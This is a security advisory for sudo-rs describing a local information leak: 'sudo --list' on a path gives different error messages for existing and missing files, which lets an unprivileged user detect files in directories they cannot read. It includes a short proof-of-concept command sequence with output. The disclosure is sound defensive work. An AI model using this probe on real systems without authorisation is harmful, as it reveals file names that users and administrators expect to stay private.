Vulnerability GHSA-98cv-wqjx-wx8f

Summary

Users with no (or very limited) sudo privileges can determine whether files exists in folders that they otherwise cannot access using sudo --list <pathname>.

PoC

As root:

# mkdir /tmp/foo
# chmod a-rwx /tmp/foo
# touch /tmp/foo/secret_file

As a user without any (or limited) sudo rights:

$ sudo --list /tmp/foo/nonexistent_file
sudo-rs: '/tmp/foo/nonexistent_file': command not found
$ $ sudo --list /tmp/foo/secret_file
sudo-rs: Sorry, user eve may not run sudo on host.

I.e. the user can distinguish whether files exist.

Related

Original sudo (vulnerable version tested by us: 1.9.15p5) exhibited similar behaviour for files with the executable bit set.

Impact

Users with local access to a machine can discover the existence/non-existence of certain files, revealing potentially sensitive information in the file names. This information can also be used in conjunction with other attacks.

Credits

This issue was identified by sudo-rs developer Marc Schoolderman